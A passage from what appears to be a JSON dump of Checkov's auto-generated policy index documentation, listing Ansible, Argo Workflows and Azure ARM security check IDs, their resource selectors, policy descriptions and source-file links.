EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 112 | CKV_AWS_88     | resource | [].block[].block[?\"ec2_instance\" != null][]                            | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 113 | CKV_AWS_88     | resource | [].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][]         | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 114 | CKV_AWS_88     | resource | [].block[].block[].block[?\"ec2_instance\" != null][]                    | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 115 | CKV_AWS_88     | resource | [].tasks[?\"amazon.aws.ec2_instance\" != null][]                         | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 116 | CKV_AWS_88     | resource | [].tasks[?\"ec2_instance\" != null][]                                    | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 117 | CKV_AWS_88     | resource | [].tasks[].block[?\"amazon.aws.ec2_instance\" != null][]                 | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 118 | CKV_AWS_88     | resource | [].tasks[].block[?\"ec2_instance\" != null][]                            | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 119 | CKV_AWS_88     | resource | [].tasks[].block[].block[?\"amazon.aws.ec2_instance\" != null][]         | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 120 | CKV_AWS_88     | resource | [].tasks[].block[].block[?\"ec2_instance\" != null][]                    | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 121 | CKV_AWS_88     | resource | [].tasks[].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][] | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 122 | CKV_AWS_88     | resource | [].tasks[].block[].block[].block[?\"ec2_instance\" != null][]            | EC2 instance should not have public IP.                                                                                                                                            | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                         |\n| 123 | CKV_AWS_135    | resource | [?\"amazon.aws.ec2_instance\" != null][]                                 | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 124 | CKV_AWS_135    | resource | [?\"ec2_instance\" != null][]                                            | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 125 | CKV_AWS_135    | resource | [].block[?\"amazon.aws.ec2_instance\" != null][]                         | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 126 | CKV_AWS_135    | resource | [].block[?\"ec2_instance\" != null][]                                    | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 127 | CKV_AWS_135    | resource | [].block[].block[?\"amazon.aws.ec2_instance\" != null][]                 | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 128 | CKV_AWS_135    | resource | [].block[].block[?\"ec2_instance\" != null][]                            | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 129 | CKV_AWS_135    | resource | [].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][]         | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 130 | CKV_AWS_135    | resource | [].block[].block[].block[?\"ec2_instance\" != null][]                    | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 131 | CKV_AWS_135    | resource | [].tasks[?\"amazon.aws.ec2_instance\" != null][]                         | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 132 | CKV_AWS_135    | resource | [].tasks[?\"ec2_instance\" != null][]                                    | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 133 | CKV_AWS_135    | resource | [].tasks[].block[?\"amazon.aws.ec2_instance\" != null][]                 | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 134 | CKV_AWS_135    | resource | [].tasks[].block[?\"ec2_instance\" != null][]                            | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 135 | CKV_AWS_135    | resource | [].tasks[].block[].block[?\"amazon.aws.ec2_instance\" != null][]         | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 136 | CKV_AWS_135    | resource | [].tasks[].block[].block[?\"ec2_instance\" != null][]                    | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 137 | CKV_AWS_135    | resource | [].tasks[].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][] | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 138 | CKV_AWS_135    | resource | [].tasks[].block[].block[].block[?\"ec2_instance\" != null][]            | Ensure that EC2 is EBS optimized                                                                                                                                                   | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                 |\n| 139 | CKV_PAN_2      | resource | tasks.paloaltonetworks.panos.panos_management_profile                  | Ensure plain-text management HTTP is not enabled for an Interface Management Profile                                                                                               | Ansible | [PanosInterfaceMgmtProfileNoHTTP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoHTTP.yaml)         |\n| 140 | CKV_PAN_3      | resource | tasks.paloaltonetworks.panos.panos_management_profile                  | Ensure plain-text management Telnet is not enabled for an Interface Management Profile                                                                                             | Ansible | [PanosInterfaceMgmtProfileNoTelnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoTelnet.yaml)     |\n| 141 | CKV_PAN_4      | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure DSRI is not enabled within security policies                                                                                                                                | Ansible | [PanosPolicyNoDSRI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoDSRI.yaml)                                     |\n| 142 | CKV_PAN_5      | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure security rules do not have 'application' set to 'any'                                                                                                                       | Ansible | [PanosPolicyNoApplicationAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoApplicationAny.yaml)                 |\n| 143 | CKV_PAN_6      | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure security rules do not have 'service' set to 'any'                                                                                                                           | Ansible | [PanosPolicyNoServiceAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoServiceAny.yaml)                         |\n| 144 | CKV_PAN_7      | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure security rules do not have 'source_ip' and 'destination_ip' both containing values of 'any'                                                                                 | Ansible | [PanosPolicyNoSrcAnyDstAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcAnyDstAny.yaml)                     |\n| 145 | CKV_PAN_8      | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure description is populated within security policies                                                                                                                           | Ansible | [PanosPolicyDescription.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyDescription.yaml)                           |\n| 146 | CKV_PAN_9      | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure a Log Forwarding Profile is selected for each security policy rule                                                                                                          | Ansible | [PanosPolicyLogForwarding.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogForwarding.yaml)                       |\n| 147 | CKV_PAN_10     | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure logging at session end is enabled within security policies                                                                                                                  | Ansible | [PanosPolicyLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLoggingEnabled.yaml)                     |\n| 148 | CKV_PAN_12     | resource | tasks.paloaltonetworks.panos.panos_ipsec_profile                       | Ensure IPsec profiles do not specify use of insecure authentication algorithms                                                                                                     | Ansible | [PanosIPsecAuthenticationAlgorithms.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecAuthenticationAlgorithms.yaml)   |\n| 149 | CKV_PAN_13     | resource | tasks.paloaltonetworks.panos.panos_ipsec_profile                       | Ensure IPsec profiles do not specify use of insecure protocols                                                                                                                     | Ansible | [PanosIPsecProtocols.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecProtocols.yaml)                                 |\n| 150 | CKV_PAN_14     | resource | tasks.paloaltonetworks.panos.panos_zone                                | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                  | Ansible | [PanosZoneProtectionProfile.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneProtectionProfile.yaml)                   |\n| 151 | CKV_PAN_15     | resource | tasks.paloaltonetworks.panos.panos_zone                                | Ensure an Include ACL is defined for a Zone when User-ID is enabled                                                                                                                | Ansible | [PanosZoneUserIDIncludeACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneUserIDIncludeACL.yaml)                     |\n| 152 | CKV_PAN_16     | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure logging at session start is disabled within security policies except for troubleshooting and long lived GRE tunnels                                                         | Ansible | [PanosPolicyLogSessionStart.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogSessionStart.yaml)                   |\n| 153 | CKV_PAN_17     | resource | tasks.paloaltonetworks.panos.panos_security_rule                       | Ensure security rules do not have 'source_zone' and 'destination_zone' both containing values of 'any'                                                                             | Ansible | [PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml) |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/argo_workflows.md",
    "content": "---\nlayout: default\ntitle: argo_workflows resource scans\nnav_order: 1\n---\n\n# argo_workflows resource scans (auto generated)\n\n|    | Id         | Type           | Entity   | Policy                                                        | IaC            | Resource Link                                                                                                                                 |\n|----|------------|----------------|----------|---------------------------------------------------------------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_ARGO_1 | argo_workflows | spec     | Ensure Workflow pods are not using the default ServiceAccount | Argo Workflows | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/DefaultServiceAccount.py) |\n|  1 | CKV_ARGO_2 | argo_workflows | spec     | Ensure Workflow pods are running as non-root user             | Argo Workflows | [RunAsNonRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/RunAsNonRoot.py)                   |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/arm.md",
    "content": "---\nlayout: default\ntitle: arm resource scans\nnav_order: 1\n---\n\n# arm resource scans (auto generated)\n\n|     | Id            | Type      | Entity                                                                       | Policy                                                                                                            | IaC   | Resource Link                                                                                                                                                                                                |\n|-----|---------------|-----------|------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|-------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|   0 | CKV_AZURE_1   | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                      | arm   | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py)                                                                           |\n|   1 | CKV_AZURE_2   | resource  | Microsoft.Compute/disks                                                      | Ensure Azure managed disk have encryption enabled                                                                 | arm   | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py)                                                                 |\n|   2 | CKV_AZURE_3   | resource  | Microsoft.Storage/storageAccounts                                            | Ensure that 'supportsHttpsTrafficOnly' is set to 'true'                                                           | arm   | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsTransportEncryption.py)                                                 |\n|   3 | CKV_AZURE_4   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS logging to Azure Monitoring is Configured                                                              | arm   | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py)                                                                                   |\n|   4 | CKV_AZURE_5   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure RBAC is enabled on AKS clusters                                                                            | arm   | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py)                                                                                         |\n|   5 | CKV_AZURE_6   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS has an API Server Authorized IP Ranges enabled                                                         | arm   | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py)                                                         |\n|   6 | CKV_AZURE_7   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS cluster has Network Policy configured                                                                  | arm   | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py)                                                                                     |\n|   7 | CKV_AZURE_8   | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure Kubernetes Dashboard is disabled                                                                           | arm   | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py)                                                                             |\n|   8 | CKV_AZURE_9   | resource  | Microsoft.Network/networkSecurityGroups                                      | Ensure that RDP access is restricted from the internet                                                            | arm   | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                 |\n|   9 | CKV_AZURE_9   | resource  | Microsoft.Network/networkSecurityGroups/securityRules                        | Ensure that RDP access is restricted from the internet                                                            | arm   | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                 |\n|  10 | CKV_AZURE_10  | resource  | Microsoft.Network/networkSecurityGroups                                      | Ensure that SSH access is restricted from the internet                                                            | arm   | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                 |\n|  11 | CKV_AZURE_10  | resource  | Microsoft.Network/networkSecurityGroups/securityRules                        | Ensure that SSH access is restricted from the internet                                                            | arm   | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                 |\n|  12 | CKV_AZURE_11  | resource  | Microsoft.Sql/servers                                                        | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                     | arm   | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py)                                                                       |\n|  13 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/FlowLogs                                   | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | arm   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  14 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/FlowLogs/                                  | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | arm   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  15 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/flowLogs                                   | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | arm   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  16 | CKV_AZURE_12  | resource  | Microsoft.Network/networkWatchers/flowLogs/                                  | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                            | arm   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                               |\n|  17 | CKV_AZURE_13  | resource  | Microsoft.Web/sites/config                                                   | Ensure App Service Authentication is set on Azure App Service                                                     | arm   | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                     |\n|  18 | CKV_AZURE_13  | resource  | config                                                                       | Ensure App Service Authentication is set on Azure App Service                                                     | arm   | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                     |\n|  19 | CKV_AZURE_14  | resource  | Microsoft.Web/sites                                                          | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                           | arm   | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py)                                                                               |\n|  20 | CKV_AZURE_15  | resource  | Microsoft.Web/sites                                                          | Ensure web app is using the latest version of TLS encryption                                                      | arm   | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py)                                                                       |\n|  21 | CKV_AZURE_16  | resource  | Microsoft.Web/sites                                                          | Ensure that Register with Azure Active Directory is enabled on App Service                                        | arm   | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py)                                                                                 |\n|  22 | CKV_AZURE_17  | resource  | Microsoft.Web/sites                                                          | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                   | arm   | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py)                                                               |\n|  23 | CKV_AZURE_18  | resource  | Microsoft.Web/sites                                                          | Ensure that 'HTTP Version' is the latest if used to run the web app                                               | arm   | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py)                                                                     |\n|  24 | CKV_AZURE_19  | resource  | Microsoft.Security/pricings                                                  | Ensure that standard pricing tier is selected                                                                     | arm   | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py)                                                           |\n|  25 | CKV_AZURE_20  | resource  | Microsoft.Security/securityContacts                                          | Ensure that security contact 'Phone number' is set                                                                | arm   | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py)                                                                 |\n|  26 | CKV_AZURE_21  | resource  | Microsoft.Security/securityContacts                                          | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                     | arm   | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py)                                                       |\n|  27 | CKV_AZURE_22  | resource  | Microsoft.Security/securityContacts                                          | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                     | arm   | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py)                                           |\n|  28 | CKV_AZURE_23  | resource  | Microsoft.Sql/servers                                                        | Ensure that 'Auditing' is set to 'Enabled' for SQL servers                                                        | arm   | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py)                                                                     |\n|  29 | CKV_AZURE_23  | resource  | Microsoft.Sql/servers/databases                                              | Ensure that 'Auditing' is set to 'Enabled' for SQL servers                                                        | arm   | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py)                                                                     |\n|  30 | CKV_AZURE_24  | resource  | Microsoft.Sql/servers                                                        | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                        | arm   | [SQLServerAuditingRetention90Days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingRetention90Days.py)                                                     |\n|  31 | CKV_AZURE_25  | resource  | Microsoft.Sql/servers/databases                                              | Ensure that 'Threat Detection types' is set to 'All'                                                              | arm   | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerThreatDetectionTypes.py)                                                           |\n|  32 | CKV_AZURE_26  | resource  | Microsoft.Sql/servers/databases                                              | Ensure that 'Send Alerts To' is enabled for MSSQL servers                                                         | arm   | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py)                                                               |\n|  33 | CKV_AZURE_27  | resource  | Microsoft.Sql/servers/databases                                              | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers                                  | arm   | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py)                                               |\n|  34 | CKV_AZURE_28  | resource  | Microsoft.DBforMySQL/servers                                                 | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server                                     | arm   | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py)                                                     |\n|  35 | CKV_AZURE_29  | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server                                | arm   | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py)                                           |\n|  36 | CKV_AZURE_30  | resource  | Microsoft.DBforPostgreSQL/servers/configurations                             | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                           | arm   | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                           |\n|  37 | CKV_AZURE_30  | resource  | configurations                                                               | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                           | arm   | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                           |\n|  38 | CKV_AZURE_31  | resource  | Microsoft.DBforPostgreSQL/servers/configurations                             | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                              | arm   | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                           |\n|  39 | CKV_AZURE_31  | resource  | configurations                                                               | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                              | arm   | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                           |\n|  40 | CKV_AZURE_32  | resource  | Microsoft.DBforPostgreSQL/servers/configurations                             | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                     | arm   | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                               |\n|  41 | CKV_AZURE_32  | resource  | configurations                                                               | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                     | arm   | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                               |\n|  42 | CKV_AZURE_33  | resource  | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings | Ensure Storage logging is enabled for Queue service for read, write and delete requests                           | arm   | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py)                                     |\n|  43 | CKV_AZURE_34  | resource  | Microsoft.Storage/storageAccounts/blobServices/containers                    | Ensure that 'Public access level' is set to Private for blob containers                                           | arm   | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                     |\n|  44 | CKV_AZURE_34  | resource  | blobServices/containers                                                      | Ensure that 'Public access level' is set to Private for blob containers                                           | arm   | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                     |\n|  45 | CKV_AZURE_34  | resource  | containers                                                                   | Ensure that 'Public access level' is set to Private for blob containers                                           | arm   | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                     |\n|  46 | CKV_AZURE_35  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure default network access rule for Storage Accounts is set to deny                                            | arm   | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDefaultNetworkAccessDeny.py)                                         |\n|  47 | CKV_AZURE_36  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                         | arm   | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountAzureServicesAccessEnabled.py)                                     |\n|  48 | CKV_AZURE_37  | resource  | Microsoft.Insights/logprofiles                                               | Ensure 